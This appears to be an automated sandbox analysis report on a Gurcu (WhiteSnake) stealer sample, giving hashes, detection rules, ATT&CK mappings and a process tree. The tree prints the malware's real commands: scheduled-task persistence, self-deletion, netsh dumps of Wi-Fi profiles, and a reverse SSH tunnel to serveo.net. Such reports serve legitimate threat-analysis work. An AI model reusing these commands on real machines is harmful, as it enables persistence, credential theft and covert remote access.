gurcu | 6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538

Analysis

max time kernel
150s
max time network
156s
platform
windows10-2004_x64
resource
win10v2004-20230831-en
resource tags

arch:x64arch:x86image:win10v2004-20230831-enlocale:en-usos:windows10-2004-x64system
submitted
08/09/2023, 08:16

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

a43b860d290321de53ed6deb5cae95af.exe
Size

53.4MB
MD5

a43b860d290321de53ed6deb5cae95af
SHA1

62cc70d91f7e39fc93b9b0f106f78a90cfc54047
SHA256

6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538
SHA512

535cca5f0fdd3efecfca76760ab914b1c29ef7accc4e0789e5f658b1aa922fac854cfca752c745843c667d3be67672185973a79335496ef4b0a0f73d47c3b1a5
SSDEEP

6144:wGWM/t/a2zDGVPJXvnzZjDJHb571Kjn1929XDccH19bqjWVHQDcXeUa:cmRatpvnzZjDv7oj19yTuj+H9XRa

Score

10^/10

gurcu collection discovery spyware stealer

Malware Config

Signatures

Detect Gurcu Stealer V3 payload 3 IoCs

resource	yara_rule
behavioral2/memory/2564-0-0x000001F6D2F90000-0x000001F6D2FF2000-memory.dmp	family_gurcu_v3
behavioral2/files/0x000800000002324c-8.dat	family_gurcu_v3
behavioral2/files/0x000800000002324c-9.dat	family_gurcu_v3

Gurcu, WhiteSnake
Gurcu is a malware stealer written in C#.
stealer gurcu

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1859779917-101786662-3680946609-1000\Control Panel\International\Geo\Nation	a43b860d290321de53ed6deb5cae95af.exe

Executes dropped EXE 1 IoCs

pid	Process
2520	a43b860d290321de53ed6deb5cae95af.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1859779917-101786662-3680946609-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	a43b860d290321de53ed6deb5cae95af.exe
Key opened	\REGISTRY\USER\S-1-5-21-1859779917-101786662-3680946609-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	a43b860d290321de53ed6deb5cae95af.exe
Key opened	\REGISTRY\USER\S-1-5-21-1859779917-101786662-3680946609-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	a43b860d290321de53ed6deb5cae95af.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
38	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
628	schtasks.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1564	PING.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2520	a43b860d290321de53ed6deb5cae95af.exe
2520	a43b860d290321de53ed6deb5cae95af.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2564	a43b860d290321de53ed6deb5cae95af.exe
Token: SeDebugPrivilege	2520	a43b860d290321de53ed6deb5cae95af.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 2564 wrote to memory of 2992	2564	a43b860d290321de53ed6deb5cae95af.exe	86
PID 2564 wrote to memory of 2992	2564	a43b860d290321de53ed6deb5cae95af.exe	86
PID 2992 wrote to memory of 2144	2992	cmd.exe	88
PID 2992 wrote to memory of 2144	2992	cmd.exe	88
PID 2992 wrote to memory of 1564	2992	cmd.exe	89
PID 2992 wrote to memory of 1564	2992	cmd.exe	89
PID 2992 wrote to memory of 628	2992	cmd.exe	94
PID 2992 wrote to memory of 628	2992	cmd.exe	94
PID 2992 wrote to memory of 2520	2992	cmd.exe	95
PID 2992 wrote to memory of 2520	2992	cmd.exe	95
PID 2520 wrote to memory of 1148	2520	a43b860d290321de53ed6deb5cae95af.exe	96
PID 2520 wrote to memory of 1148	2520	a43b860d290321de53ed6deb5cae95af.exe	96
PID 1148 wrote to memory of 2784	1148	cmd.exe	99
PID 1148 wrote to memory of 2784	1148	cmd.exe	99
PID 1148 wrote to memory of 532	1148	cmd.exe	100
PID 1148 wrote to memory of 532	1148	cmd.exe	100
PID 1148 wrote to memory of 1232	1148	cmd.exe	101
PID 1148 wrote to memory of 1232	1148	cmd.exe	101
PID 2520 wrote to memory of 4296	2520	a43b860d290321de53ed6deb5cae95af.exe	103
PID 2520 wrote to memory of 4296	2520	a43b860d290321de53ed6deb5cae95af.exe	103
PID 2520 wrote to memory of 976	2520	a43b860d290321de53ed6deb5cae95af.exe	105
PID 2520 wrote to memory of 976	2520	a43b860d290321de53ed6deb5cae95af.exe	105
PID 976 wrote to memory of 3728	976	cmd.exe	107
PID 976 wrote to memory of 3728	976	cmd.exe	107
PID 976 wrote to memory of 3812	976	cmd.exe	108
PID 976 wrote to memory of 3812	976	cmd.exe	108
PID 976 wrote to memory of 1808	976	cmd.exe	109
PID 976 wrote to memory of 1808	976	cmd.exe	109

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1859779917-101786662-3680946609-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	a43b860d290321de53ed6deb5cae95af.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1859779917-101786662-3680946609-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	a43b860d290321de53ed6deb5cae95af.exe

C:\Users\Admin\AppData\Local\Temp\a43b860d290321de53ed6deb5cae95af.exe
"C:\Users\Admin\AppData\Local\Temp\a43b860d290321de53ed6deb5cae95af.exe"
1⤵
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2564
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C chcp 65001 && ping 127.0.0.1 && schtasks /create /tn "a43b860d290321de53ed6deb5cae95af" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\WindowsSecurity\a43b860d290321de53ed6deb5cae95af.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Users\Admin\AppData\Local\Temp\a43b860d290321de53ed6deb5cae95af.exe" &&START "" "C:\Users\Admin\AppData\Local\WindowsSecurity\a43b860d290321de53ed6deb5cae95af.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2992
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:2144
- - C:\Windows\system32\PING.EXE
    ping 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:1564
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "a43b860d290321de53ed6deb5cae95af" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\WindowsSecurity\a43b860d290321de53ed6deb5cae95af.exe" /rl HIGHEST /f
    3⤵
    - Creates scheduled task(s)
    PID:628
- - C:\Users\Admin\AppData\Local\WindowsSecurity\a43b860d290321de53ed6deb5cae95af.exe
    "C:\Users\Admin\AppData\Local\WindowsSecurity\a43b860d290321de53ed6deb5cae95af.exe"
    3⤵
    - Executes dropped EXE
    - Accesses Microsoft Outlook profiles
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    - outlook_office_path
    - outlook_win_path
    PID:2520
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" /c chcp 65001 && netsh wlan show profiles|findstr /R /C:"[ ]:[ ]"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1148
    - - C:\Windows\system32\chcp.com
        
        chcp 65001
        5⤵
        
        PID:2784
    - - C:\Windows\system32\netsh.exe
        
        netsh wlan show profiles
        5⤵
        
        PID:532
    - - C:\Windows\system32\findstr.exe
        
        findstr /R /C:"[ ]:[ ]"
        5⤵
        
        PID:1232
  - - C:\Windows\System32\OpenSSH\ssh.exe
      "ssh.exe" -o "StrictHostKeyChecking=no" -R 80:127.0.0.1:3716 serveo.net
      4⤵
      PID:4296
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" /c chcp 65001 && netsh wlan show networks mode=bssid | findstr "SSID BSSID Signal"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:976
    - - C:\Windows\system32\chcp.com
        
        chcp 65001
        5⤵
        
        PID:3728
    - - C:\Windows\system32\netsh.exe
        
        netsh wlan show networks mode=bssid
        5⤵
        
        PID:3812
    - - C:\Windows\system32\findstr.exe
        
        findstr "SSID BSSID Signal"
        5⤵
        
        PID:1808

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\a43b860d290321de53ed6deb5cae95af.exe.log

Filesize
847B

MD5
3308a84a40841fab7dfec198b3c31af7

SHA1
4e7ab6336c0538be5dd7da529c0265b3b6523083

SHA256
169bc31a8d1666535977ca170d246a463e6531bb21faab6c48cb4269d9d60b2e

SHA512
97521d5fb94efdc836ea2723098a1f26a7589a76af51358eee17292d29c9325baf53ad6b4496c5ca3e208d1c9b9ad6797a370e2ae378072fc68f5d6e8b73b198

Download Submit
C:\Users\Admin\AppData\Local\WindowsSecurity\a43b860d290321de53ed6deb5cae95af.exe

Filesize
53.4MB

MD5
a43b860d290321de53ed6deb5cae95af

SHA1
62cc70d91f7e39fc93b9b0f106f78a90cfc54047

SHA256
6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538

SHA512
535cca5f0fdd3efecfca76760ab914b1c29ef7accc4e0789e5f658b1aa922fac854cfca752c745843c667d3be67672185973a79335496ef4b0a0f73d47c3b1a5

Download Submit
C:\Users\Admin\AppData\Local\WindowsSecurity\a43b860d290321de53ed6deb5cae95af.exe

Filesize
53.4MB

MD5
a43b860d290321de53ed6deb5cae95af

SHA1
62cc70d91f7e39fc93b9b0f106f78a90cfc54047

SHA256
6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538

SHA512
535cca5f0fdd3efecfca76760ab914b1c29ef7accc4e0789e5f658b1aa922fac854cfca752c745843c667d3be67672185973a79335496ef4b0a0f73d47c3b1a5

Download Submit
memory/2520-11-0x00007FFB099F0000-0x00007FFB0A4B1000-memory.dmp

Filesize
10.8MB

Download
memory/2520-12-0x00000289F3580000-0x00000289F3590000-memory.dmp

Filesize
64KB

Download
memory/2520-15-0x00007FFB099F0000-0x00007FFB0A4B1000-memory.dmp

Filesize
10.8MB

Download
memory/2520-16-0x00000289F3580000-0x00000289F3590000-memory.dmp

Filesize
64KB

Download
memory/2564-0-0x000001F6D2F90000-0x000001F6D2FF2000-memory.dmp

Filesize
392KB

Download
memory/2564-1-0x00007FFB09F90000-0x00007FFB0AA51000-memory.dmp

Filesize
10.8MB

Download
memory/2564-4-0x000001F6ED6E0000-0x000001F6ED6F0000-memory.dmp

Filesize
64KB

Download
memory/2564-6-0x00007FFB09F90000-0x00007FFB0AA51000-memory.dmp

Filesize
10.8MB

Download